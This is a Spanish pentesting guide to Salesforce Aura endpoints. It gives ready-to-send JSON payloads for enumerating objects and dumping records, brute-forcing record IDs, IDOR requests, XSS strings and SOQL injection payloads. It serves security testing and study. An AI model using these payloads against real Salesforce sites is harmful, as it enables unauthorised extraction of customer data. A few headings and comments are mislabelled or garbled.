# Salesforce

Salesforce representa una plataforma de *Customer Relationship Management* (CRM) basada en la nube que utiliza arquitecturas *multi-tenant* y tecnologías web modernas como **Aura Framework** y **Lightning Web Components** (LWC).

La plataforma implementa un modelo de seguridad basado en perfiles, conjuntos de permisos y configuraciones de *sharing*, creando múltiples vectores de enumeración y potencial elevación de privilegios. Los componentes Aura, en particular, exponen *endpoints* específicos que pueden ser explotados para reconocimiento avanzado y extracción de información, mientras que las clases Apex y consultas SOQL presentan oportunidades de explotación del lado servidor.

## <mark style="color:red;">Reconocimiento</mark>

### <mark style="color:$danger;">Identificación de componentes Aura</mark>

Los componentes Aura constituyen el *framework* JavaScript de Salesforce para desarrollo de aplicaciones dinámicas. La identificación de objetivos comienza con enumeración DNS para dominios que terminan en `*.force.com`, `*.secure.force.com` y `*.live.siteforce.com`.

Los componentes Aura constituyen el *framework* JavaScript de Salesforce para desarrollo de aplicaciones dinámicas.&#x20;

#### <mark style="color:$warning;">**Rutas comunes**</mark>

```
/s/sfsites/aura
/aura
/sfsites/aura
/sales/aura
```

#### <mark style="color:$warning;">Identificadores de contenido Aura</mark>

```
"actions":[
aura:clientOutOfSync
aura:invalidSession
aura.context
aura.token
aura.fwuid
markup://
```

### <mark style="color:$danger;">**Descriptores de enumeración interesantes**</mark>

Los controladores Aura exponen funcionalidades específicas para extracción de metadatos y enumeración de objetos:

#### <mark style="color:$warning;">**HostConfigController**</mark>

Devuelve datos de app con lista de objetos accesibles y a menudo objetos personalizados bajo apiNamesToKeyPrefixes, sin parámetros.

```
HostConfigController/ACTION$getConfigData
```

#### <mark style="color:$warning;">**OneController**</mark>

Devuelve información de la app y a veces un listado extendido de objetos, sin parámetros.

```
OneController/ACTION$getCurrentApp
```

#### <mark style="color:$warning;">**RecordUiController**</mark>

Definición completa de objeto, campos, relaciones y permisos por perfil

Dado objectApiName, devuelve definición del objeto, campos y relaciones, útil para validar acceso por perfil/usuario.

```
aura://RecordUiController/ACTION$getObjectInfo
```

#### <mark style="color:$warning;">**SelectableListDataProviderController**</mark>

Enumeración de registros con paginación.

**Parámetros:** `entityNameOrId`, `pageSize` (máximo 1000), `layoutType` (FULL para máxima información)

```
SelectableListDataProviderController/ACTION$getItems
```

#### &#x20;<mark style="color:$warning;">DetailController</mark>

Recupera un registro por recordId cuando existen permisos.

```
DetailController/ACTION$getRecord
```

#### <mark style="color:$warning;">**ScopedResultsDataProviderController**</mark>

**B**úsqueda para términos de al menos 4 caracteres.

```
ScopedResultsDataProviderController/ACTION$getLookupItems
```

#### <mark style="color:$warning;">**ProfileMenuController**</mark>

Detalles menores del usuario actual, ayuda a confirmar contexto de permisos.

```
ProfileMenuController/ACTION$getProfileMenuResponse
```

#### <mark style="color:$warning;">ListUiController</mark>

Enumera listas definidas para un objeto, útil para comprender vistas disponibles.

```
ListUiController/ACTION$getListsByObjectName
```

### <mark style="color:$danger;">Enumeración de objetos</mark>

El *payload* mostrado para `HostConfigController` retorna *apiNamesToKeyPrefixes*, donde **`__c`** indica objetos personalizados; este paso funciona tanto para invitado como autenticado según configuración de la comunidad.

Los objetos pueden ser enumerados modificando el parámetro `message` por el siguiente *payload*:

{% code overflow="wrap" %}

```json
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}
```

{% endcode %}

{% hint style="warning" %}
En este caso, no es necesario usar codificación URL (URL encoding) en el *payload* del parámetro `message` para enviarlo en la petición.&#x20;
{% endhint %}

Se pueden extraer los <mark style="color:$primary;">**objetos personalizados**</mark> debido a que la cadena termina con `__c`, por lo que, usando el siguiente comando, se puede obtener la lista de objetos:

{% code overflow="wrap" %}

```bash
cat objects_response.json | grep "__c\"" | cut -d "\"" -f2
```

{% endcode %}

La lista completa de objetos en Salesforce se puede consultar en:

* <https://developer.salesforce.com/docs/atlas.en-us.object\\_reference.meta/object\\_reference/sforce\\_api\\_objects\\_list.htm>

Si se quiere obtener la lista actualizada de objetos de Salesforce, puedes usar tu [IA](https://www.xtormin.com/general) de confianza para extraer la información con el siguiente *prompt*:

{% code overflow="wrap" %}

```
Necesito una lista completa de todos los objetos que se encuentran en la siguiente URL para usarlo en intruder, de Burp Suite. Necesito que sea en formato TXT: https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm
```

{% endcode %}

Esto dará una lista como la siguiente:

```
Case
Account
Address
Activity
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Campaign
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Task
Name
EmailTemplate
EmailMessageRelation
...
```

Uniendo la lista de objetos por defecto y la lista de objetos personalizados, se podrá crear una lista que luego se podrá usar con *intruder* para obtener los registros de dichos objetos.

### <mark style="color:$danger;">Enumeración de registros de objetos</mark>

Con *intruder* (Burp Suite) es posible automatizar la obtención de información de cada uno de los objetos:

1. Se copia la lista en la sección de "Payloads" de intruder, seleccionando la opción de "Simple list".
2. Se modifica el parámetro `message` de la petición con el siguiente *payload*.
3. Se cambia itera sobre el valor de `entityNameOrId`.
4. Se modifica `pageSize` con un valor en el rango 100–1000 y `currentPage` para paginar.

{% code overflow="wrap" %}

```json
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"§object§","layoutType":"FULL","pageSize":1000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}
```

{% endcode %}

Ejemplo de *json* de la respuesta:

```json
{
  "actions": [
    {
      "id": "123;a",
      "state": "SUCCESS",
      "returnValue": {
        "result": [
          {
            "record": {
              "Id": "0015g00000A7T3AAK",
              "Origin": "test",
              "LastModifiedDate": "2024-06-19T08:17:57.000Z",
              "Account": null
            }
          },
          {
            "record": {
              "Id": "0015g00000B5T7BBL",
              "Origin": "email",
              "LastModifiedDate": "2024-06-20T10:30:00.000Z",
              "Account": "123456"
            }
          }
        ]
      }
    }
  ]
}

```

Si se copia el *json* de la respuesta, es posible filtrar con `jd` el resultado obtenido. Por ejemplo:

* Obtención de identificadores de registros:

{% code overflow="wrap" %}

```bash
jq -r '.actions[0].returnValue.result[].record.Id' data.json
```

{% endcode %}

### <mark style="color:$danger;">Patrones de IDs y prefijos</mark>

Los identificadores de Salesforce implementan un esquema de prefijos de 3 caracteres seguidos de 15 dígitos alfanuméricos (*case-sensitive*):

**Prefijos estándar críticos:**

* `005`: User
* `500`: Case
* `001`: Account
* `003`: Contact
* `00Q`: Lead
* `a00`: Custom Objects (variable)

En los siguientes enlaces se encuentran los identificadores por defecto:

* <https://help.salesforce.com/s/articleView?id=000385203&type=1>
* <https://automationchampion.com/2024/01/22/salesforce-object-key-prefix-list-2/>

**Generación de patrones para&#x20;*****brute force*****:**

Si se quiere identificar cuáles son los caracteres que varían en los identificadores para posteriormente realizar un ataque de fuerza bruta para obtener identificadores no conocidos, se puede usar el siguiente comando:

{% code overflow="wrap" %}

```bash
awk 'NR==1{for(i=1;i<=length($0);i++) c[i]=substr($0,i,1)}
     NR>1{for(i=1;i<=length($0);i++) if(c[i]!=substr($0,i,1)) c[i]="?"}
     END{print; for(i=1;i<=length($0);i++) printf "%s", c[i]; print ""}' ids.txt
```

{% endcode %}

Ejemplo de salida:

```
4007N01000?????SA?
```

## <mark style="color:red;">Vulnerabilidades</mark>

### <mark style="color:$danger;">Acceso como usuario invitado</mark>

El contexto de usuario invitado representa el vector de ataque más crítico, ya que **el acceso no autenticado** ocurre cuando `aura.token=null` o `aura.token=undefined`. Esta configuración permite a los atacantes explotar permisos de objeto mal configurados, ejecutar métodos Apex privilegiados y extraer datos sensibles sin autenticación.

### <mark style="color:$danger;">Referencia directa segura a objetos</mark>

Los ataques de *Insecure Direct Object Reference* (IDOR) en Salesforce trascienden la simple modificación de parámetros. La plataforma implementa múltiples capas de control de acceso que incluyen permisos a nivel de objeto, campo y registro.

{% code overflow="wrap" %}

```json
{
  "actions": [{
    "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord", 
    "params": {
      "recordId": "TARGET_RECORD_ID",
      "layoutType": "FULL",
      "modes": ["VIEW"]
    }
  }]
}
```

{% endcode %}

Acceso a información de objetos no autorizados, por ejemplo, habiendo iniciado sesión con el usuario A, modificar el `recordId` por el del usuario B.

* `recordId: "0015g00000A7T3AAK"` → Usuario A
* `recordId: "0015g00000B5T7BBL"` → Usuario B

{% hint style="warning" %}
Aunque se pueda acceder, hay que verificar que realmente sea información que no deba estar accesible para el usuario.
{% endhint %}

### <mark style="color:$danger;">Exposición de información sensible vía token y contexto</mark>

Los parámetros `aura.context` (base64) y `aura.token` (jwt) están codificados en *urlencode* y *base64*, por lo que, se puede decodificar el contenido de los mismos y buscar información sensible que pueda estar expuesta.

* <https://meyerweb.com/eric/tools/dencoder/>
* <https://www.base64decode.org/>
* <https://jwt.io/>

### <mark style="color:$danger;">XSS</mark>

{% code overflow="wrap" %}

```c
// Inyección SVG - URLInyección SOQL
?aura.tag=%3Csvg%20onload%3Dalert%28document.domain%29%3E&aura.format=JSON

// Inyección de atributo de componente
{!'">\<script\>alert(document.domain)\</script\>'}

// Explotación de manejador de eventos Lightning  
\<lightning:button onclick="{!c.handleClick}" label="Click" data-payload="javascript:alert(1)"/\>

// Escape de contexto de componente Aura
\<aura:if isTrue="{!and(true,true)}"\>\<script\>alert('XSS')\</script\>\</aura:if\>
```

{% endcode %}

### <mark style="color:$danger;">Inyección SOQL</mark>

SOQL (Salesforce Object Query Language) difiere significativamente del SQL tradicional pero sigue siendo vulnerable a ataques de inyección cuando la entrada del usuario se concatena directamente en las consultas.

```sql
// Payload básico de exfiltración de datos
%' AND Performance_rating__c<2 AND Name LIKE '%

// Acceso a datos de objetos cruzados
%' OR Account.Industry = 'Healthcare' OR Name LIKE '%

// Técnica de enumeración de campos
%' OR (Name LIKE '%' AND CreatedBy.VerySecretFlag__c != null) OR Name LIKE '%

// Inyección vulnerable en campo numérico
1 OR 1=1 LIMIT 1000
```

**Técnicas de inyección basadas en errores** explotan parámetros contentDocumentId a través de análisis de mensajes de respuesta:

* Documento válido: "Cannot invoke 'common.udd.EntityInfo.getEntityId()'"
* Documento inválido: "Error in retrieving content document"

{% code overflow="wrap" %}

```sql
069TP00000HbJbNYAV' AND OwnerId IN (SELECT Id FROM User WHERE Email LIKE 'a%') AND ContentDocumentId != '
```

{% endcode %}

## <mark style="color:red;">Referencias</mark>

* <https://developer.salesforce.com/>
* <https://developer.salesforce.com/docs/platform/lwc/guide>
* <https://www.varonis.com/blog/misconfigured-salesforce-experiences>
* <https://automationchampion.com/2024/01/22/salesforce-object-key-prefix-list-2/>
* <https://help.salesforce.com/s/articleView?id=000385203&type=1>
* <https://infosecwriteups.com/in-simple-words-pen-testing-salesforce-saas-application-part-1-the-essentials-ffae632a00e5>
* <https://infosecwriteups.com/in-simple-words-pen-testing-salesforce-saas-application-part-2-fuzz-exploit-eefae11ba5ae>
* <http://0xbro.red/writeups/web-hacking/salesforce-hacking/>
* <http://enumerated.ie/index/salesforce-lightning-tinting-the-windows>
* <https://www.enumerated.ie/index/salesforce>
* <https://projectblack.io/blog/salesforce-penetration-testing-fundamentals/>
* <https://sallam.gitbook.io/sec-88/cloud-sec/salesforce-hacking/basics>
* <https://sallam.gitbook.io/sec-88/cloud-sec/salesforce-hacking/salesforce-saas-apps-hacking>
